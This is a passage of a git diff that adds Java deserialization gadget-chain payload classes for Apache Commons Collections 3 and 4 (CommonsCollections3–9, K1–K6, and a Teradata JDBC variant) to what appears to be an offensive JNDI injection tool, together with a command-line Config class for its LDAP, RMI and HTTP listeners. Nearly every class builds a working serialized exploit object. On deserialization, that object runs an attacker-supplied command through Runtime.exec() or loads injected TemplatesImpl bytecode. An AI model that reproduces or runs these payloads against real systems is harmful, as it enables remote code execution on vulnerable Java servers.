new TransformingComparator(transformer)); + queue.add(1); + queue.add(1); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + Reflections.setFieldValue(queue, "queue", new Object[]{templates, templates}); + + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections3.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections3.java new file mode 100644 index 00000000..62927281 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections3.java @@ -0,0 +1,67 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.functors.InstantiateTransformer; +import org.apache.commons.collections.map.LazyMap; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + + +/** + * Variation on CommonsCollections1 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@SuppressWarnings({"rawtypes", "unchecked", "restriction","unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections3 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templatesImpl; + if (JYsoMode.contains("yso")) { + templatesImpl = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templatesImpl = Gadgets.createTemplatesImpl(type, param); + } + + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = new Transformer[]{ + new ConstantTransformer(TrAXFilter.class), + new InstantiateTransformer( + new Class[]{Templates.class}, + new Object[]{templatesImpl})}; + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); + final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return handler; + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections4.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections4.java new file mode 100644 index 00000000..9e114795 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections4.java @@ -0,0 +1,66 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InstantiateTransformer; + +import javax.xml.transform.Templates; +import java.util.PriorityQueue; +import java.util.Queue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * Variation on CommonsCollections2 that uses InstantiateTransformer instead of + * InvokerTransformer. + */ + +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({Authors.FROHOFF}) +public class CommonsCollections4 implements ObjectPayload>{ + + public Queue getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + + ConstantTransformer constant = new ConstantTransformer(String.class); + + // mock method name until armed + Class[] paramTypes = new Class[]{String.class}; + Object[] args = new Object[]{Utils.generateRandomString(4)}; + InstantiateTransformer instantiate = new InstantiateTransformer( + paramTypes, args); + + // grab defensively copied arrays + paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); + args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); + + ChainedTransformer chain = new ChainedTransformer(new Transformer[]{constant, instantiate}); + + // create queue with numbers + PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain)); + queue.add(1); + queue.add(1); + + // swap in values to arm + Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); + paramTypes[0] = Templates.class; + args[0] = templates; + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections5.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections5.java new file mode 100644 index 00000000..76fd5f9e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections5.java @@ -0,0 +1,67 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; + +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * BadAttributeValueExpException.readObject() + * TiedMapEntry.toString() + * LazyMap.get() + * ChainedTransformer.transform() + * ConstantTransformer.transform() + * InvokerTransformer.transform() + * Method.invoke() + * Class.getMethod() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.getRuntime() + * InvokerTransformer.transform() + * Method.invoke() + * Runtime.exec() + * + * Requires: + * commons-collections + */ + +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER, Authors.JASINNER}) +public class CommonsCollections5 implements ObjectPayload { + + public BadAttributeValueExpException getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + // inert chain for setup + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{new ConstantTransformer(1)}); + // real chain for after setup + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "nu1r"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain + + return val; + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections6.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections6.java new file mode 100644 index 00000000..6f23141f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections6.java @@ -0,0 +1,88 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + + +/** + * Gadget chain: + * java.io.ObjectInputStream.readObject() + * java.util.HashSet.readObject() + * java.util.HashMap.put() + * java.util.HashMap.hash() + * org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() + * org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() + * org.apache.commons.collections.map.LazyMap.get() + * org.apache.commons.collections.functors.ChainedTransformer.transform() + * org.apache.commons.collections.functors.InvokerTransformer.transform() + * java.lang.reflect.Method.invoke() + * java.lang.Runtime.exec() + *

+ * by @matthias_kaiser + */ +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollections6 implements ObjectPayload { + public Serializable getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Transformer transformerChain = new ChainedTransformer(transformers); + + final Map innerMap = new HashMap(); + final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry entry = new TiedMapEntry(lazyMap, "nu1r"); + HashSet map = new HashSet(1); + map.add("nu1r"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections7.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections7.java new file mode 100644 index 00000000..a888b2a7 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections7.java @@ -0,0 +1,51 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.map.LazyMap; + +import java.io.FileOutputStream; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.SCRISTALLI, Authors.HANYRAX, Authors.EDOARDOVIGNATI}) + +public class CommonsCollections7 implements ObjectPayload { + + public Hashtable getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); + lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections8.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections8.java new file mode 100644 index 00000000..baef0bcc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections8.java @@ -0,0 +1,39 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.bag.TreeBag; +import org.apache.commons.collections4.comparators.TransformingComparator; +import org.apache.commons.collections4.functors.InvokerTransformer; + +import java.util.Comparator; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"org.apache.commons:commons-collections4:4.0"}) +@Authors({"navalorenzo"}) + +public class CommonsCollections8 implements ObjectPayload{ + + + public TreeBag getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + TransformingComparator comp = new TransformingComparator((Transformer) transformer); + TreeBag tree = new TreeBag((Comparator) comp); + tree.add(templates); + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + return tree; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections9.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections9.java new file mode 100644 index 00000000..d6b4d06b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections9.java @@ -0,0 +1,37 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.DefaultedMap; + +import javax.management.BadAttributeValueExpException; +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({"梅子酒"}) + +public class CommonsCollections9 implements ObjectPayload{ + + public BadAttributeValueExpException getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + String[] execArgs = {command}; + Class c = (execArgs.length > 1) ? String[].class : String.class; + ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{(Transformer) new ConstantTransformer(Integer.valueOf(1))}); + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Map innerMap = new HashMap(); + Map defaultedmap = DefaultedMap.decorate(innerMap, (Transformer) chainedTransformer); + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "nu1r"); + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Reflections.setFieldValue(val, "val", entry); + Reflections.setFieldValue(chainedTransformer, "iTransformers", transformers); + return val; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1.java new file mode 100644 index 00000000..676cd684 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1.java @@ -0,0 +1,51 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * Gadget chain: + * HashMap + * TiedMapEntry.hashCode + * TiedMapEntry.getValue + * LazyMap.decorate + * InvokerTransformer + * templates... + */ + +@Dependencies({"commons-collections:commons-collections:3.1"}) +public class CommonsCollectionsK1 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.decorate(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1Jdbc.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1Jdbc.java new file mode 100644 index 00000000..01695af9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK1Jdbc.java @@ -0,0 +1,41 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.teradata.jdbc.TeraDataSource; +import org.apache.commons.collections.functors.InvokerTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; + +public class CommonsCollectionsK1Jdbc implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + + TeraDataSource dataSource = new TeraDataSource(); + dataSource.setBROWSER(param[0]); + dataSource.setLOGMECH("BROWSER"); + dataSource.setDSName("127.0.0.1"); + dataSource.setDbsPort("10250"); + + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.decorate(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, dataSource); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK2.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK2.java new file mode 100644 index 00000000..6e446e92 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK2.java @@ -0,0 +1,46 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +public class CommonsCollectionsK2 implements ReleaseableObjectPayload{ + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); + HashMap innerMap = new HashMap(); + Map m = LazyMap.lazyMap(innerMap, transformer); + Map outerMap = new HashMap(); + TiedMapEntry tied = new TiedMapEntry(m, templates); + outerMap.put(tied, "t"); + // clear the inner map data, this is important + innerMap.clear(); + + Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); + + return outerMap; + } + + @Override + public void release(Object obj) throws Exception { + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK3.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK3.java new file mode 100644 index 00000000..1dd08918 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK3.java @@ -0,0 +1,36 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.1"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollectionsK3 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = TransformerUtil.makeTransformer(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.decorate(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "nu1r"); + Map expMap = new HashMap(); + expMap.put(tme, "nu1r"); + outerMap.remove("nu1r"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK4.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK4.java new file mode 100644 index 00000000..ea447996 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK4.java @@ -0,0 +1,36 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil4; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +@Authors({Authors.MATTHIASKAISER}) +public class CommonsCollectionsK4 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; + Transformer[] transformers = TransformerUtil4.makeTransformer4(command); + Transformer transformerChain = new ChainedTransformer(fakeTransformers); + Map innerMap = new HashMap(); + Map outerMap = LazyMap.lazyMap(innerMap, transformerChain); + TiedMapEntry tme = new TiedMapEntry(outerMap, "nu1r"); + Map expMap = new HashMap(); + expMap.put(tme, "nu1r"); + outerMap.remove("nu1r"); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK5.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK5.java new file mode 100644 index 00000000..5646ed7f --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK5.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil4; +import org.apache.commons.collections4.Transformer; +import org.apache.commons.collections4.functors.ChainedTransformer; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +public class CommonsCollectionsK5 implements ObjectPayload{ + + public Hashtable getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + final Transformer transformerChain = new ChainedTransformer(new Transformer[]{}); + final Transformer[] transformers = TransformerUtil4.makeTransformer4(command); + Map innerMap1 = new HashMap(); + Map innerMap2 = new HashMap(); + + // Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject + Map lazyMap1 = LazyMap.lazyMap(innerMap1, transformerChain); + lazyMap1.put("yy", 1); + + Map lazyMap2 = LazyMap.lazyMap(innerMap2, transformerChain); + lazyMap2.put("zZ", 1); + + // Use the colliding Maps as keys in Hashtable + Hashtable hashtable = new Hashtable(); + hashtable.put(lazyMap1, 1); + hashtable.put(lazyMap2, 2); + + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + // Needed to ensure hash collision after previous manipulations + lazyMap2.remove("yy"); + + return hashtable; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK6.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK6.java new file mode 100644 index 00000000..5eed957e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollectionsK6.java @@ -0,0 +1,43 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.collections4.functors.ConstantTransformer; +import org.apache.commons.collections4.functors.InvokerTransformer; +import org.apache.commons.collections4.keyvalue.TiedMapEntry; +import org.apache.commons.collections4.map.LazyMap; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-collections:commons-collections:4.0"}) +public class CommonsCollectionsK6 implements ObjectPayload { + + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object templates; + if (JYsoMode.contains("yso")) { + templates = GadgetsYso.createTemplatesImpl(param[0]); + } else { + templates = Gadgets.createTemplatesImpl(type, param); + } + InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null); + HashMap map = new HashMap<>(); + Map lazyMap = LazyMap.lazyMap(map, new ConstantTransformer(1)); + TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates); + + HashMap expMap = new HashMap<>(); + expMap.put(tiedMapEntry, "nu1r"); + lazyMap.remove(templates); + + Reflections.setFieldValue(lazyMap, "factory", invokerTransformer); + + return expMap; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java new file mode 100644 index 00000000..b4092db9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java @@ -0,0 +1,242 @@ +package com.qi4l.jndi.gadgets.Config; + +import com.beust.jcommander.JCommander; +import com.beust.jcommander.Parameter; +import com.beust.jcommander.UnixStyleUsageFormatter; +import com.qi4l.jndi.Starter; +import com.qi4l.jndi.gadgets.ObjectPayload; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Strings; +import javassist.ClassPool; + +import java.util.*; + +public class Config { + public static String codeBase; + + @Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1) + public static String ip = "0.0.0.0"; + + @Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2) + public static int ldapPort = 1389; + + @Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2) + public static int rmiPort = 1099; + + @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) + public static int httpPort = 3456; + + @Parameter(names = {"-he", " --help"}, help = true, description = "Show this help") + private static boolean help = false; + + @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") + public static String command = "whoami"; + + @Parameter(names = {"-v", " --version"}, description = "Show version", order = 5) + public static boolean showVersion; + + @Parameter(names = {"-ga", " --gadgets"}, description = "Show gadgets", order = 5) + public static boolean showGadgets; + + @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) + public static String AESkey = "123"; + + @Parameter(names = {"-u", " --user"}, description = "ldap bound account", order = 5) + public static String USER = ""; + + @Parameter(names = {"-p", " --PASSWD"}, description = "ldap binding password", order = 5) + public static String PASSWD = ""; + + @Parameter(names = {"--jndi"}, description = "Show gadgets", order = 5) + public static boolean jndi = false; + + public static String rhost; + public static String rport; + + public static void applyCmdArgs(String[] args) { + //process cmd args + JCommander jc = JCommander.newBuilder() + .addObject(new Config()) + .build(); + try { + jc.parse(args); + } catch (Exception e) { + System.out.println("Error: " + e.getMessage() + "\n"); + help = true; + } + + if (showGadgets) { + final List> payloadClasses = + new ArrayList>(ObjectPayload.Utils.getPayloadClasses()); + Collections.sort(payloadClasses, new 